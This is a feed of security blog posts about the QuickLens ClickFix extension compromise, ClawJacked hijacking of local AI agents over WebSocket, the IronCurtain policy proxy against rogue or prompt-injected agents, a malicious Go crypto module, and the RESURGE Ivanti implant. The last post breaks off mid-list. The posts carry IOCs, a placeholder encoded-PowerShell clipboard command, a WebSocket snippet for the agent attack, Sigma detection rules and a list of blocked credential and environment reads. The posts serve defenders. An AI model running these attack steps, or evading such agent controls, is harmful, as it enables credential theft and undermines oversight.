A popular Chrome extension called QuickLens — Search Screen with Google Lens has been removed from the Chrome Web Store after being compromised to push malware via ClickFix social engineering attacks and steal cryptocurrency from thousa...]]></description><link>https://deepseax.hashnode.dev/quicklens-chrome-extension-compromised-to-steal-crypto-via-clickfix-attacks</link><guid isPermaLink="true">https://deepseax.hashnode.dev/quicklens-chrome-extension-compromised-to-steal-crypto-via-clickfix-attacks</guid><category><![CDATA[Crypto Stealer]]></category><category><![CDATA[chrome extension]]></category><category><![CDATA[Clickfix]]></category><category><![CDATA[supply chain]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Sun, 01 Mar 2026 13:07:06 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-what-happened">What Happened</h2>
<p>A popular Chrome extension called <strong>QuickLens — Search Screen with Google Lens</strong> has been removed from the Chrome Web Store after being compromised to push malware via <strong>ClickFix</strong> social engineering attacks and steal cryptocurrency from thousands of users.</p>
<p>On February 17, 2026, version 5.8 of QuickLens was released containing malicious scripts that introduced ClickFix-style fake prompts and info-stealing capabilities. Google has since removed the extension and Chrome now automatically disables it for affected users.</p>
<h2 id="heading-how-the-attack-works">How the Attack Works</h2>
<p>The compromise follows a multi-stage attack chain combining supply chain poisoning with social engineering:</p>
<h3 id="heading-stage-1-extension-compromise">Stage 1: Extension Compromise</h3>
<p>The legitimate QuickLens extension was updated with malicious code — either through a compromised developer account or a supply chain attack on the extension's build pipeline. Users received the malicious update automatically through Chrome's extension auto-update mechanism.</p>
<h3 id="heading-stage-2-c2-contact">Stage 2: C2 Contact</h3>
<p>The injected payload contacts <code>google-update[.]icu</code>, a domain designed to look like legitimate Google infrastructure. The C2 server responds with a secondary payload.</p>
<h3 id="heading-stage-3-clickfix-social-engineering">Stage 3: ClickFix Social Engineering</h3>
<p>The second-stage payload displays a <strong>fake Google Update prompt</strong>. When users click the update button, they are shown a ClickFix attack — a fake verification dialog that tricks users into running malicious code on their system.</p>
<pre><code>Fake prompt: <span class="hljs-string">"Google Chrome needs to verify you are human"</span>
→ Instructs user to: Win+R → Paste clipboard → Enter
→ Clipboard contains: powershell -e [base64 encoded payload]
</code></pre><h3 id="heading-stage-4-amos-stealer-deployment">Stage 4: AMOS Stealer Deployment</h3>
<p>Reports indicate that macOS users were targeted with <strong>AMOS (Atomic Stealer)</strong>, a well-known infostealer that targets:</p>
<ul>
<li>Browser-stored passwords and cookies</li>
<li>Cryptocurrency wallet data and private keys</li>
<li>Keychain credentials</li>
<li>Desktop files and documents</li>
</ul>
<h2 id="heading-why-clickfix-is-so-effective">Why ClickFix Is So Effective</h2>
<p>ClickFix has become one of the most successful social engineering techniques in 2026, responsible for delivering <strong>59% of identified malware families</strong> in browser-based attacks. The technique works because:</p>
<ol>
<li><strong>Bypasses browser security</strong> — the user manually executes the payload</li>
<li><strong>Looks legitimate</strong> — mimics real browser update or verification prompts</li>
<li><strong>Exploits trust</strong> — appears to come from Google Chrome itself</li>
<li><strong>Avoids detection</strong> — no file download, payload runs from clipboard</li>
<li><strong>Cross-platform</strong> — variants target both Windows (PowerShell) and macOS (Terminal)</li>
</ol>
<h2 id="heading-the-bigger-picture-337k-users-compromised">The Bigger Picture: 337K Users Compromised</h2>
<p>QuickLens is part of a larger wave of <strong>malicious Chrome extensions</strong> targeting cryptocurrency. Recent research found <strong>337,000+ Chrome users</strong> compromised across multiple campaigns with capabilities including:</p>
<ul>
<li>Theft across <strong>22 different browser types</strong></li>
<li>Private key and wallet address extraction</li>
<li>OAuth2 token extraction from Chromium browsers</li>
<li>Telegram and Discord data theft</li>
<li>VPN configuration harvesting</li>
</ul>
<p>These operations originated from <strong>15 countries</strong> including the US, Canada, India, Japan, and across Europe.</p>
<h2 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td><td>Phase</td></tr>
</thead>
<tbody>
<tr>
<td>Supply Chain Compromise: Software Dependencies</td><td>T1195.001</td><td>Initial Access</td></tr>
<tr>
<td>User Execution: Malicious Link</td><td>T1204.001</td><td>Execution</td></tr>
<tr>
<td>Command and Scripting Interpreter: PowerShell</td><td>T1059.001</td><td>Execution</td></tr>
<tr>
<td>Credentials from Password Stores: Browser</td><td>T1555.003</td><td>Credential Access</td></tr>
<tr>
<td>Steal Web Session Cookie</td><td>T1539</td><td>Credential Access</td></tr>
<tr>
<td>Data from Local System</td><td>T1005</td><td>Collection</td></tr>
<tr>
<td>Exfiltration Over C2 Channel</td><td>T1041</td><td>Exfiltration</td></tr>
<tr>
<td>Browser Extensions</td><td>T1176</td><td>Persistence</td></tr>
</tbody>
</table>
</div><h2 id="heading-indicators-of-compromise">Indicators of Compromise</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Type</td><td>Value</td><td>Context</td></tr>
</thead>
<tbody>
<tr>
<td>Domain</td><td><code>google-update[.]icu</code></td><td>C2 / second-stage payload delivery</td></tr>
<tr>
<td>Extension</td><td>QuickLens v5.8+</td><td>Compromised version</td></tr>
<tr>
<td>Malware</td><td>AMOS / Atomic Stealer</td><td>macOS infostealer payload</td></tr>
</tbody>
</table>
</div><h2 id="heading-detection-amp-hunting">Detection &amp; Hunting</h2>
<h3 id="heading-browser-extension-audit">Browser Extension Audit</h3>
<pre><code class="lang-powershell"><span class="hljs-comment"># List all Chrome extensions with version info (Windows)</span>
<span class="hljs-built_in">Get-ChildItem</span> <span class="hljs-string">"<span class="hljs-variable">$env:LOCALAPPDATA</span>\Google\Chrome\User Data\Default\Extensions"</span> <span class="hljs-literal">-Recurse</span> <span class="hljs-literal">-Filter</span> <span class="hljs-string">"manifest.json"</span> |
  <span class="hljs-built_in">ForEach-Object</span> { <span class="hljs-variable">$m</span> = <span class="hljs-built_in">Get-Content</span> <span class="hljs-variable">$_</span> | <span class="hljs-built_in">ConvertFrom-Json</span>; <span class="hljs-string">"<span class="hljs-variable">$</span>(<span class="hljs-variable">$m</span>.name) v<span class="hljs-variable">$</span>(<span class="hljs-variable">$m</span>.version)"</span> }
</code></pre>
<h3 id="heading-network-detection">Network Detection</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">ClickFix</span> <span class="hljs-string">C2</span> <span class="hljs-string">Domain</span> <span class="hljs-string">Contact</span>
<span class="hljs-attr">logsource:</span>
  <span class="hljs-attr">category:</span> <span class="hljs-string">dns</span>
<span class="hljs-attr">detection:</span>
  <span class="hljs-attr">selection:</span>
    <span class="hljs-string">query|endswith:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'google-update.icu'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'-update.icu'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'-verify.icu'</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">high</span>
</code></pre>
<h3 id="heading-powershell-clickfix-execution">PowerShell ClickFix Execution</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">ClickFix</span> <span class="hljs-string">PowerShell</span> <span class="hljs-string">Clipboard</span> <span class="hljs-string">Execution</span>
<span class="hljs-attr">logsource:</span>
  <span class="hljs-attr">product:</span> <span class="hljs-string">windows</span>
  <span class="hljs-attr">category:</span> <span class="hljs-string">process_creation</span>
<span class="hljs-attr">detection:</span>
  <span class="hljs-attr">selection:</span>
    <span class="hljs-string">CommandLine|contains:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'powershell'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'-e '</span>
    <span class="hljs-string">ParentImage|endswith:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'\explorer.exe'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'\cmd.exe'</span>
  <span class="hljs-attr">filter:</span>
    <span class="hljs-string">CommandLine|contains:</span> <span class="hljs-string">'WindowsUpdate'</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span> <span class="hljs-string">and</span> <span class="hljs-string">not</span> <span class="hljs-string">filter</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">high</span>
</code></pre>
<h2 id="heading-immediate-actions">Immediate Actions</h2>
<ol>
<li><strong>Check your extensions</strong> — go to <code>chrome://extensions</code> and remove QuickLens immediately</li>
<li><strong>Scan for malware</strong> — run a full system scan with updated AV</li>
<li><strong>Reset all browser passwords</strong> — assume stored credentials are compromised</li>
<li><strong>Move crypto to new wallets</strong> — if you used browser-based wallets, generate new keys and transfer funds</li>
<li><strong>Enable 2FA everywhere</strong> — especially on exchanges and financial accounts</li>
<li><strong>Review OAuth tokens</strong> — revoke any suspicious app authorizations</li>
<li><strong>Monitor accounts</strong> — watch for unauthorized transactions for the next 30 days</li>
</ol>
<h2 id="heading-lessons-for-defenders">Lessons for Defenders</h2>
<p>The QuickLens incident reinforces a critical truth: <strong>browser extensions are supply chain attack vectors</strong>. Organizations should:</p>
<ul>
<li>Maintain an <strong>allowlist</strong> of approved extensions via Chrome Enterprise policies</li>
<li><strong>Block side-loading</strong> and limit extension permissions</li>
<li>Monitor for <strong>ClickFix indicators</strong> — clipboard-to-PowerShell execution patterns</li>
<li>Educate users that <strong>legitimate services never ask you to run commands</strong> via Win+R or Terminal</li>
</ul>
<blockquote>
<p>Need help assessing your exposure? Request a <a target="_blank" href="https://theinsider-x.com">free penetration test</a> — currently in open beta.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[ClawJacked: How Malicious Websites Hijack Local AI Agents via WebSocket]]></title><description><![CDATA[What Happened
Oasis Security has disclosed ClawJacked, a high-severity vulnerability in OpenClaw — a popular open-source AI agent framework. The flaw allows any website a user visits to silently hijack locally running AI agents through WebSocket conn...]]></description><link>https://deepseax.hashnode.dev/clawjacked-how-malicious-websites-hijack-local-ai-agents-via-websocket</link><guid isPermaLink="true">https://deepseax.hashnode.dev/clawjacked-how-malicious-websites-hijack-local-ai-agents-via-websocket</guid><category><![CDATA[ai security]]></category><category><![CDATA[openclaw]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[websocket]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Sun, 01 Mar 2026 01:09:22 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-what-happened">What Happened</h2>
<p>Oasis Security has disclosed <strong>ClawJacked</strong>, a high-severity vulnerability in OpenClaw — a popular open-source AI agent framework. The flaw allows any website a user visits to silently hijack locally running AI agents through WebSocket connections, granting attackers full control over the agent and all its connected integrations.</p>
<p>The vulnerability was patched in OpenClaw version <strong>2026.2.25</strong>, released February 26, 2026 — within 24 hours of responsible disclosure.</p>
<h2 id="heading-technical-breakdown">Technical Breakdown</h2>
<p>ClawJacked exploits a fundamental trust assumption: OpenClaw relaxes security mechanisms for localhost connections, including silent device registration approval. The attack chain works in four steps:</p>
<h3 id="heading-step-1-websocket-connection">Step 1: WebSocket Connection</h3>
<p>When a user visits a malicious webpage, JavaScript on the page opens a WebSocket connection to <code>localhost</code> on the OpenClaw gateway port. Browsers do not block localhost WebSocket connections — no CORS restrictions apply.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Attacker's page — connects to local AI agent</span>
<span class="hljs-keyword">const</span> ws = <span class="hljs-keyword">new</span> WebSocket(<span class="hljs-string">'ws://localhost:OPENCLAW_PORT'</span>);
</code></pre>
<h3 id="heading-step-2-password-brute-force">Step 2: Password Brute-Force</h3>
<p>OpenClaw's gateway has <strong>no rate-limiting</strong> on authentication attempts. The attacker's script rapidly brute-forces the gateway password through the WebSocket connection.</p>
<h3 id="heading-step-3-silent-device-registration">Step 3: Silent Device Registration</h3>
<p>After authentication, the attacker registers as a trusted device. Because the connection comes from localhost, the gateway <strong>auto-approves</strong> the registration without prompting the user.</p>
<h3 id="heading-step-4-full-compromise">Step 4: Full Compromise</h3>
<p>With admin-level access, the attacker can:</p>
<ul>
<li><strong>Execute tasks</strong> through the AI agent across all connected platforms</li>
<li><strong>Extract configuration</strong> data including API keys and secrets</li>
<li><strong>Enumerate connected nodes</strong> and discover internal infrastructure</li>
<li><strong>Access application logs</strong> containing sensitive operational data</li>
<li><strong>Pivot laterally</strong> to any system the agent has access to</li>
</ul>
<h2 id="heading-related-cves">Related CVEs</h2>
<p>While ClawJacked itself has no assigned CVE, OpenClaw has recently patched multiple critical vulnerabilities:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>CVE</td><td>Type</td><td>Severity</td></tr>
</thead>
<tbody>
<tr>
<td>CVE-2026-25593</td><td>RCE</td><td>Critical</td></tr>
<tr>
<td>CVE-2026-24763</td><td>Authentication Bypass</td><td>Critical</td></tr>
<tr>
<td>CVE-2026-25157</td><td>RCE</td><td>High</td></tr>
<tr>
<td>CVE-2026-25475</td><td>Authentication Bypass</td><td>High</td></tr>
<tr>
<td>CVE-2026-26319</td><td>Command Injection</td><td>High</td></tr>
<tr>
<td>CVE-2026-26322</td><td>Command Injection</td><td>High</td></tr>
<tr>
<td>CVE-2026-26329</td><td>SSRF</td><td>Medium</td></tr>
</tbody>
</table>
</div><h2 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td><td>Phase</td></tr>
</thead>
<tbody>
<tr>
<td>Exploitation of Remote Services</td><td>T1210</td><td>Lateral Movement</td></tr>
<tr>
<td>Brute Force</td><td>T1110</td><td>Credential Access</td></tr>
<tr>
<td>Valid Accounts: Local</td><td>T1078.003</td><td>Persistence</td></tr>
<tr>
<td>Application Layer Protocol: WebSocket</td><td>T1071.001</td><td>Command &amp; Control</td></tr>
<tr>
<td>Data from Local System</td><td>T1005</td><td>Collection</td></tr>
</tbody>
</table>
</div><h2 id="heading-indicators-of-compromise">Indicators of Compromise</h2>
<p>Watch for these IOCs associated with ClawJacked exploitation campaigns:</p>
<ul>
<li><strong>IP</strong>: <code>91.92.242[.]30</code> — Atomic Stealer payload distribution</li>
<li><strong>Domain</strong>: <code>openclawcli.vercel[.]app</code> — malicious skill installation lure</li>
<li><strong>Actor</strong>: <code>@liuhui1010</code> — ClawHub comment campaign distributing malicious skills</li>
</ul>
<h2 id="heading-detection-amp-hunting">Detection &amp; Hunting</h2>
<h3 id="heading-network-based-detection">Network-Based Detection</h3>
<p>Monitor for unexpected WebSocket connections to localhost from browser processes:</p>
<pre><code># Sigma-style rule: Browser process connecting to localhost WebSocket
<span class="hljs-attr">title</span>: Suspicious Localhost WebSocket <span class="hljs-keyword">from</span> Browser
<span class="hljs-attr">logsource</span>:
  category: network_connection
<span class="hljs-attr">detection</span>:
  selection:
    DestinationIp: <span class="hljs-string">'127.0.0.1'</span>
    SourceImage|endswith:
      - <span class="hljs-string">'chrome.exe'</span>
      - <span class="hljs-string">'firefox.exe'</span>
      - <span class="hljs-string">'msedge.exe'</span>
  <span class="hljs-attr">condition</span>: selection
<span class="hljs-attr">level</span>: medium
</code></pre><h3 id="heading-host-based-detection">Host-Based Detection</h3>
<p>Look for OpenClaw gateway device registration events without user interaction:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check OpenClaw logs for auto-approved device registrations</span>
grep -i <span class="hljs-string">"device.*registered.*auto"</span> /var/<span class="hljs-built_in">log</span>/openclaw/*.<span class="hljs-built_in">log</span>
<span class="hljs-comment"># Monitor WebSocket connection volume to localhost</span>
ss -tlnp | grep -E <span class="hljs-string">'LISTEN.*localhost'</span>
</code></pre>
<h2 id="heading-mitigation">Mitigation</h2>
<ol>
<li><strong>Update immediately</strong> to OpenClaw version 2026.2.25 or later</li>
<li><strong>Audit agent permissions</strong> — review what systems your AI agents can access</li>
<li><strong>Enforce rate-limiting</strong> on all authentication endpoints</li>
<li><strong>Disable auto-approve</strong> for device registration, even from localhost</li>
<li><strong>Deploy on isolated systems</strong> — never run AI agent gateways on developer workstations</li>
<li><strong>Use dedicated, non-privileged credentials</strong> for agent integrations</li>
<li><strong>Monitor continuously</strong> for unauthorized device registrations</li>
</ol>
<h2 id="heading-the-bigger-picture">The Bigger Picture</h2>
<p>ClawJacked highlights a growing attack surface: <strong>AI agent frameworks that trust localhost connections</strong>. As organizations deploy AI agents with access to internal tools, databases, and APIs, the blast radius of a single compromised agent grows exponentially.</p>
<p>The lesson is clear — treat AI agents as privileged identities. Apply the same zero-trust principles you use for service accounts: least privilege, continuous monitoring, and never assume that localhost equals trust.</p>
<blockquote>
<p>Need help assessing your exposure? Request a <a target="_blank" href="https://theinsider-x.com">free penetration test</a> — currently in open beta.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[IronCurtain: The Open-Source Shield Against Rogue AI Agents]]></title><description><![CDATA[IronCurtain: The Open-Source Shield Against Rogue AI Agents
Autonomous AI agents can execute shell commands, modify files, and access APIs — but what stops them from going rogue? IronCurtain is a new open-source security layer that intercepts every a...]]></description><link>https://deepseax.hashnode.dev/ironcurtain-the-open-source-shield-against-rogue-ai-agents</link><guid isPermaLink="true">https://deepseax.hashnode.dev/ironcurtain-the-open-source-shield-against-rogue-ai-agents</guid><category><![CDATA[AI]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Sat, 28 Feb 2026 13:09:29 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-ironcurtain-the-open-source-shield-against-rogue-ai-agents">IronCurtain: The Open-Source Shield Against Rogue AI Agents</h1>
<p>Autonomous AI agents can execute shell commands, modify files, and access APIs — but what stops them from going rogue? IronCurtain is a new open-source security layer that intercepts every agent action before execution, preventing prompt injection attacks and agentic drift.</p>
<h2 id="heading-the-problem-unchecked-ai-agents">The Problem: Unchecked AI Agents</h2>
<p>AI agents like Claude Code, custom MCP-powered tools, and LLM-based automation are increasingly autonomous. They read files, run commands, call APIs, and make decisions. This power creates a new attack surface:</p>
<ul>
<li><strong>Prompt injection:</strong> Malicious input hijacks the agent to exfiltrate data, steal credentials, or modify code</li>
<li><strong>Agentic drift:</strong> Over extended sessions, agents gradually deviate from user intent</li>
<li><strong>Credential exposure:</strong> Agents with broad tool access can leak OAuth tokens, API keys, or environment variables</li>
</ul>
<p>There's currently no standardized security layer between AI agents and system resources. IronCurtain fills that gap.</p>
<h2 id="heading-what-is-ironcurtain">What Is IronCurtain?</h2>
<p>Built by veteran security engineer <strong>Niels Provos</strong>, IronCurtain is an open-source security framework that acts as a trusted proxy between AI agents and their tools. Every tool call is intercepted, evaluated against security policies, and either allowed, denied, or escalated to human review.</p>
<p><strong>GitHub:</strong> <a target="_blank" href="https://github.com/provos/ironcurtain">github.com/provos/ironcurtain</a></p>
<h2 id="heading-four-layer-isolation-architecture">Four-Layer Isolation Architecture</h2>
<p>IronCurtain implements defense in depth through four isolation layers:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Layer</td><td>Component</td><td>Function</td></tr>
</thead>
<tbody>
<tr>
<td>1</td><td><strong>Agent Layer</strong></td><td>TypeScript code runs in V8 isolated VM (sandboxed)</td></tr>
<tr>
<td>2</td><td><strong>Policy Engine</strong></td><td>Trusted MCP proxy evaluates every tool-call request</td></tr>
<tr>
<td>3</td><td><strong>Verdict System</strong></td><td>Classifies requests: ALLOW / DENY / ESCALATE</td></tr>
<tr>
<td>4</td><td><strong>Execution Layer</strong></td><td>Standard MCP servers handle filesystem, git, external tools</td></tr>
</tbody>
</table>
</div><p>Every agent — whether a direct LLM session or Claude Code in a Docker container — goes through the same pipeline.</p>
<h2 id="heading-constitution-based-policy-compilation">Constitution-Based Policy Compilation</h2>
<p>Instead of writing security rules in code, users define a <strong>"constitution"</strong> — guiding principles in plain English:</p>
<blockquote>
<p>"The agent may only read files in /project/src. It must never access .env files, credentials, or modify its own configuration."</p>
</blockquote>
<p>The compilation pipeline:</p>
<ol>
<li><strong>Write</strong> — Define security principles in natural language</li>
<li><strong>Compile</strong> — LLM translates English into typed security rules with verified primitives</li>
<li><strong>Test</strong> — Scenario generator identifies policy gaps</li>
<li><strong>Verify</strong> — Validator confirms rules match original intent</li>
<li><strong>Refine</strong> — Iterative loop until alignment is confirmed</li>
</ol>
<h2 id="heading-what-ironcurtain-blocks">What IronCurtain Blocks</h2>
<ul>
<li><strong>Filesystem boundary violations</strong> — Access outside allowed paths</li>
<li><strong>Credential theft</strong> — OAuth tokens, API keys, service account secrets</li>
<li><strong>Environment variable exfiltration</strong> — Blocks <code>env</code>, <code>printenv</code>, and similar</li>
<li><strong>Self-modification</strong> — Cannot alter its own policy files, audit logs, or configuration</li>
<li><strong>Unknown tools</strong> — Rejects any tool call not explicitly registered</li>
</ul>
<h2 id="heading-integration-flow">Integration Flow</h2>
<pre><code>User Prompt → AI Agent → IronCurtain <span class="hljs-built_in">Proxy</span> → Policy Check
                              ├── ALLOW    → MCP Server → Execute
                              ├── DENY     → Block + Audit Log
                              └── ESCALATE → Human Review → Approve/Deny
</code></pre><h2 id="heading-mitre-attampck-relevance">MITRE ATT&amp;CK Relevance</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>AI Agent Context</td></tr>
</thead>
<tbody>
<tr>
<td>T1059 - Command Interpreter</td><td>Agent executing unauthorized shell commands</td></tr>
<tr>
<td>T1552 - Unsecured Credentials</td><td>Credential exfiltration via compromised agent</td></tr>
<tr>
<td>T1005 - Data from Local System</td><td>Unauthorized file access through agent tools</td></tr>
<tr>
<td>T1565 - Data Manipulation</td><td>Agent modifying files or code without authorization</td></tr>
</tbody>
</table>
</div><p>Prompt injection is becoming the <strong>new SQLi</strong> — untrusted input leading to unauthorized actions. Just as WAFs protect web applications, IronCurtain protects AI agent operations.</p>
<h2 id="heading-why-this-matters">Why This Matters</h2>
<p>As AI agents become autonomous workers handling real infrastructure, security frameworks like IronCurtain become essential. The MCP protocol is seeing rapid adoption, and without a security layer between agents and tools, every MCP server is a potential attack surface.</p>
<p>IronCurtain's open-source model means community-driven security evolution — exactly what this emerging threat landscape needs.</p>
<hr />
<p><em>Need help assessing your exposure? Apply to our Beta Tester Program at <a target="_blank" href="https://theinsider-x.com">theinsider-x.com</a> — limited slots available.</em></p>
<p><strong>Sources:</strong> HelpNetSecurity (2026-02-27), Niels Provos, <a target="_blank" href="https://github.com/provos/ironcurtain">github.com/provos/ironcurtain</a></p>
]]></content:encoded></item><item><title><![CDATA[Malicious Go Module Impersonates crypto Library to Deploy Rekoobe Backdoor]]></title><description><![CDATA[A Supply Chain Attack Hiding in Plain Sight
A malicious Go module named github.com/xinfeisoft/crypto has been discovered impersonating the widely-used golang.org/x/crypto library. The module intercepts SSH password input, exfiltrates credentials to a...]]></description><link>https://deepseax.hashnode.dev/malicious-go-module-impersonates-crypto-library-to-deploy-rekoobe-backdoor</link><guid isPermaLink="true">https://deepseax.hashnode.dev/malicious-go-module-impersonates-crypto-library-to-deploy-rekoobe-backdoor</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[golang]]></category><category><![CDATA[Malware]]></category><category><![CDATA[Supply Chain Attack]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Sat, 28 Feb 2026 05:09:25 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-a-supply-chain-attack-hiding-in-plain-sight">A Supply Chain Attack Hiding in Plain Sight</h2>
<p>A malicious Go module named <code>github.com/xinfeisoft/crypto</code> has been discovered impersonating the widely-used <code>golang.org/x/crypto</code> library. The module intercepts SSH password input, exfiltrates credentials to attacker infrastructure, and deploys the Rekoobe backdoor — a Linux trojan historically linked to the Chinese state-sponsored group APT31.</p>
<p>The Go security team has since blocked the package on pkg.go.dev, but the attack highlights a growing trend: supply chain compromises targeting developer toolchains rather than production systems directly.</p>
<h2 id="heading-how-the-attack-works">How the Attack Works</h2>
<h3 id="heading-phase-1-credential-theft-via-readpassword-hook">Phase 1: Credential Theft via ReadPassword() Hook</h3>
<p>The backdoor is embedded in <code>ssh/terminal/terminal.go</code>, specifically in the <code>ReadPassword()</code> function. Any application importing this module that prompts for SSH passwords will silently send captured credentials to an attacker-controlled endpoint.</p>
<h3 id="heading-phase-2-shell-script-delivery">Phase 2: Shell Script Delivery</h3>
<p>After exfiltrating credentials, the module fetches and executes a shell script:</p>
<ul>
<li>Appends threat actor SSH keys to <code>/home/ubuntu/.ssh/authorized_keys</code></li>
<li>Modifies <code>iptables</code> default policies to ACCEPT (disabling firewall)</li>
<li>Downloads additional payloads disguised with <code>.mp5</code> extensions</li>
</ul>
<h3 id="heading-phase-3-rekoobe-backdoor">Phase 3: Rekoobe Backdoor</h3>
<p>The final payload is Rekoobe, a Linux backdoor active since 2015, linked to APT31. It provides remote command execution, file exfiltration, reverse shell capability, and additional malware staging.</p>
<h2 id="heading-detection-amp-hunting">Detection &amp; Hunting</h2>
<h3 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td></tr>
</thead>
<tbody>
<tr>
<td>Supply Chain Compromise</td><td>T1195.001</td></tr>
<tr>
<td>Input Capture</td><td>T1056.001</td></tr>
<tr>
<td>Account Manipulation: SSH Keys</td><td>T1098.004</td></tr>
<tr>
<td>Impair Defenses: Disable Firewall</td><td>T1562.004</td></tr>
<tr>
<td>Ingress Tool Transfer</td><td>T1105</td></tr>
</tbody>
</table>
</div><h3 id="heading-iocs">IOCs</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Type</td><td>Value</td></tr>
</thead>
<tbody>
<tr>
<td>Go Module</td><td>github.com/xinfeisoft/crypto</td></tr>
<tr>
<td>IP Address</td><td>154.84.63.184 (TCP/443)</td></tr>
<tr>
<td>File Path</td><td>ssh/terminal/terminal.go</td></tr>
<tr>
<td>File Extension</td><td>.mp5</td></tr>
</tbody>
</table>
</div><h2 id="heading-mitigation">Mitigation</h2>
<ol>
<li>Audit Go dependencies: <code>go list -m all | grep xinfeisoft</code></li>
<li>Pin module checksums with <code>go.sum</code> verification</li>
<li>Monitor <code>~/.ssh/authorized_keys</code> changes with FIM</li>
<li>Alert on iptables policy changes to ACCEPT</li>
<li>Hunt for connections to <code>154.84.63.184:443</code></li>
</ol>
<hr />
<blockquote>
<p>Need help assessing your exposure? <a target="_blank" href="https://theinsider-x.com">Apply to our Beta Tester Program</a> for a comprehensive penetration test.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[RESURGE Malware: CISA Warns It May Be Dormant on Your Ivanti Devices Right Now (CVE-2025-0282)]]></title><description><![CDATA[CISA just updated its malware analysis report on RESURGE — and the finding is alarming: this implant can remain dormant and undetected on Ivanti Connect Secure devices, silently waiting for its operators to reconnect.
If your organization runs Ivanti...]]></description><link>https://deepseax.hashnode.dev/resurge-malware-cisa-warns-it-may-be-dormant-on-your-ivanti-devices-right-now-cve-2025-0282</link><guid isPermaLink="true">https://deepseax.hashnode.dev/resurge-malware-cisa-warns-it-may-be-dormant-on-your-ivanti-devices-right-now-cve-2025-0282</guid><category><![CDATA[cisa]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[Ivanti]]></category><category><![CDATA[Malware]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Fri, 27 Feb 2026 17:07:35 GMT</pubDate><content:encoded><![CDATA[<p>CISA just updated its malware analysis report on <strong>RESURGE</strong> — and the finding is alarming: this implant can <strong>remain dormant and undetected</strong> on Ivanti Connect Secure devices, silently waiting for its operators to reconnect.</p>
<p>If your organization runs Ivanti Connect Secure, Policy Secure, or ZTA Gateways, this is a must-read.</p>
<hr />
<h2 id="heading-what-is-resurge">What Is RESURGE?</h2>
<p>RESURGE is a sophisticated Linux implant that combines the capabilities of a <strong>rootkit, backdoor, bootkit, dropper, proxy, and tunneler</strong> — all in a single shared library (<code>libdsupgrade.so</code>). It was discovered on a critical infrastructure entity's Ivanti Connect Secure device after exploitation of <strong>CVE-2025-0282</strong>, a stack-based buffer overflow enabling remote code execution.</p>
<p>RESURGE is the evolution of the SPAWNCHIMERA malware family, which itself consolidated four earlier tools: SPAWNANT, SPAWNMOLE, SPAWNSNAIL, and SPAWNSLOTH. RESURGE adds three entirely new command sets that its predecessors lacked.</p>
<p><strong>Attribution:</strong> UNC5337 (China-nexus espionage) and Silk Typhoon (formerly Hafnium).</p>
<hr />
<h2 id="heading-why-resurge-is-dangerous-the-dormancy-problem">Why RESURGE Is Dangerous: The Dormancy Problem</h2>
<p>CISA's updated analysis (February 26, 2026) reveals the critical finding: RESURGE uses a <strong>passive C2 model</strong>. Instead of beaconing out to a server (which network monitoring would catch), it:</p>
<ol>
<li>Hooks the <code>accept()</code> function in Ivanti's web process</li>
<li>Inspects every incoming TLS connection</li>
<li>Computes a <strong>CRC32 fingerprint</strong> of the TLS ClientHello random field</li>
<li>If the fingerprint matches → routes to malicious handler</li>
<li>If not → forwards to legitimate Ivanti server transparently</li>
</ol>
<p>This means RESURGE generates <strong>zero outbound C2 traffic</strong>. It sits dormant until an operator connects to the device's normal HTTPS port with a specially crafted TLS handshake. Standard network monitoring sees nothing.</p>
<hr />
<h2 id="heading-technical-deep-dive">Technical Deep-Dive</h2>
<h3 id="heading-the-tls-authentication-trick">The TLS Authentication Trick</h3>
<p>RESURGE's operator authentication is remarkably sophisticated:</p>
<ol>
<li><strong>ClientHello fingerprint</strong>: CRC32 hash of the final 28 bytes in the TLS random field, byte-swapped, compared against the first 4 bytes</li>
<li><strong>ServerHello spoofing</strong>: Responds with a forged Ivanti certificate (<code>CN: va1.Ivanti.net</code>, issued Jul 15 2024)</li>
<li><strong>Mutual TLS</strong>: Establishes encrypted channel using <strong>P-521 ECC</strong> with hardcoded keys</li>
